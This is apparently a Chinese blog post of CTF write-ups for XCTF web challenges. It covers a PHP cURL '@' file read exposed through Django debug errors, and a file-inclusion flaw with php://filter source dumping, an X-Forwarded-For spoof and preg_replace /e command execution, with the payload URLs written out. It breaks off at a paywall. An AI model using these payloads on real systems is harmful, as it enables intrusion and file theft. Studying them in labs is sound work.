攻防世界 webj进阶

最新推荐文章于 2024-05-16 08:45:57 发布

舞动的獾

最新推荐文章于 2024-05-16 08:45:57 发布

阅读量1.6k

点赞数

分类专栏：网络安全web 文章标签：攻防世界 web进阶

本文链接：https://blog.csdn.net/Yu_csdnstory/article/details/98040258

版权

本文详细介绍了攻防世界中的多个Web挑战，包括利用编码、文件包含、正则表达式漏洞、模板注入、PHP反序列化等技术进行的攻击与防御。通过分析题目给出的源码、错误信息和漏洞利用过程，揭示了Web安全的多个层面，如命令执行、文件读取、SQL注入等。

摘要由CSDN通过智能技术生成

文章目录

cat

原理:


    php cURL CURLOPT_SAFE_UPLOAD
    django DEBUG mode
    Django使用的是gbk编码，超过%F7的编码不在gbk中有意义
    当 CURLOPT_SAFE_UPLOAD 为 true 时，如果在请求前面加上@的话phpcurl组件是会把后面的当作绝对路径请求，来读取文件。当且仅当文件中存在中文字符的时候，Django 才会报错导致获取文件内容。

gbk编码表

CURLOPT_SAFE_UPLOAD在php5.60-php7种有效。

对于这道题目，输入域名没有任何反应，输入127.0.0.1，它会执行ping命令

这次我们执行ping ip 然后尝试命令执行进行注入，但是出现了Invalid URL

ping 127.0.0.1 |'order by 3%23

发现它对%23进行了解码，并对‘和#，|进行了过滤

在URL的传参处?url=这里，我们传递个%79发现传递之后变成了?url=w，看来是可以传递url编码，系统会接受并进行解析，于是我们传递%80会出现报错，url编码使用的是16进制，80也就是128，ASCII码是从0-127
查看报错信息可以判断出后台运行了两个应用，一个是PHP应用，一个是Django，用来处理php发来的请求。：

通过 Django 报错调用栈中的信息，在settings项目中可以看到数据库相关信息

通过访问111.198.29.45:52284/index.php?url=@/opt/api/database.sqlite3 得到数据库内容
搜索{，得到flag
在这里插入图片描述

ics-05

进入题目，除了在设备维修中心有页面之外，其他都是回到主页的index.html
猜测存在文件包含漏洞，用

http://111.198.29.45:55594/index.php?page=0

可以正常回显
尝试获取index源码：

http://111.198.29.45:55594/index.php?page=php://filter/read=convert.base64-encode/resource=index.php

得到base64的源码，解码之后为：

<?php
error_reporting(0);

@session_start();
posix_setuid(1000);


?>
<!DOCTYPE HTML>
<html>

<head>
    <meta charset="utf-8">
    <meta name="renderer" content="webkit">
    <meta http-equiv="X-UA-Compatible" content="IE=edge,chrome=1">
    <meta name="viewport" content="width=device-width, initial-scale=1, maximum-scale=1">
    <link rel="stylesheet" href="layui/css/layui.css" media="all">
    <title>设备维护中心</title>
    <meta charset="utf-8">
</head>

<body>
    <ul class="layui-nav">
        <li class="layui-nav-item layui-this"><a href="?page=index">云平台设备维护中心</a></li>
    </ul>
    <fieldset class="layui-elem-field layui-field-title" style="margin-top: 30px;">
        <legend>设备列表</legend>
    </fieldset>
    <table class="layui-hide" id="test"></table>
    <script type="text/html" id="switchTpl">
        <!-- 这里的 checked 的状态只是演示 -->
        <input type="checkbox" name="sex" value="{
   {d.id}}" lay-skin="switch" lay-text="开|关" lay-filter="checkDemo" {
   {
    d.id==1 0003 ? 'checked' : '' }}>
    </script>
    <script src="layui/layui.js" charset="utf-8"></script>
    <script>
    layui.use('table', function() {
   
        var table = layui.table,
            form = layui.form;

        table.render({
   
            elem: '#test',
            url: '/somrthing.json',
            cellMinWidth: 80,
            cols: [
                [
                    {
    type: 'numbers' },
                     {
    type: 'checkbox' },
                     {
    field: 'id', title: 'ID', width: 100, unresize: true, sort: true },
                     {
    field: 'name', title: '设备名', templet: '#nameTpl' },
                     {
    field: 'area', title: '区域' },
                     {
    field: 'status', title: '维护状态', minWidth: 120, sort: true },
                     {
    field: 'check', title: '设备开关', width: 85, templet: '#switchTpl', unresize: true }
                ]
            ],
            page: true
        });
    });
    </script>
    <script>
    layui.use('element', function() {
   
        var element = layui.element; //导航的hover效果、二级菜单等功能，需要依赖element模块
        //监听导航点击
        element.on('nav(demo)', function(elem) {
   
            //console.log(elem)
            layer.msg(elem.text());
        });
    });
    </script>

<?php

$page = $_GET[page];

if (isset($page)) {
   



if (ctype_alnum($page)) {
   
?>

    <br /><br /><br /><br />
    <div style="text-align:center">
        <p class="lead"><?php echo $page; die();?></p>
    <br /><br /><br /><br />

<?php

}else{
   

?>
        <br /><br /><br /><br />
        <div style="text-align:center">
            <p class="lead">
                <?php

                if (strpos($page, 'input') > 0) {
   
                    die();
                }

                if (strpos($page, 'ta:text') > 0) {
   
                    die();
                }

                if (strpos($page, 'text') > 0) {
   
                    die();
                }

                if ($page === 'index.php') {
   
                    die('Ok');
                }
                    include($page);
                    die();
                ?>
        </p>
        <br /><br /><br /><br />

<?php
}}


//方便的实现输入输出的功能,正在开发中的功能，只能内部人员测试

if ($_SERVER['HTTP_X_FORWARDED_FOR'] === '127.0.0.1') {
   

    echo "<br >Welcome My Admin ! <br >";

    $pattern = $_GET[pat];
    $replacement = $_GET[rep];
    $subject = $_GET[sub];

    if (isset($pattern) && isset($replacement) && isset($subject)) {
   
        preg_replace($pattern, $replacement, $subject);
    }else{
   
        die();
    }

}





?>

</body>

</html>

在最后看到了正则匹配，和管理员登陆方式，可以伪造x-F-X

构造正则

pat=/(\w)/e&rep=system('ls')&sub=a

尝试查看文件内容，最终在

?pat=/(\w)/e&rep=system('ls+s3chahahaDir/flag/flag.php')&sub=a

?pat=/(\w)/e&rep=system('cat+s3chahahaDir/flag/flag.php')&sub=a

原理
文件包含读源码、x-forwarded-for
preg_replace 函数执行一个正则表达式的搜索和替换，preg_replce正则表达式部分包含e参数的时候，进行替换的部分会被执行。

所以，估计这个已经在大多数的php网站种不支持了

wtf.sh-150

进入后发现了admin发的回复，说不定可以成为admin

最低0.47元/天解锁文章

舞动的獾

关注

0
点赞
踩
2

收藏

觉得还不错? 一键收藏
0
评论
攻防世界 webj进阶

cat攻防世界cat原理: php cURL CURLOPT_SAFE_UPLOAD django DEBUG mode Django使用的是gbk编码，超过%F7的编码不在gbk中有意义当 CURLOPT_SAFE_UPLOAD 为 true 时，如果在请求前面加上@的话phpcurl组件是会把后面的当作绝对路径请求，来读取文件。当且仅当文件中存在中文字符...
复制链接

扫一扫

专栏目录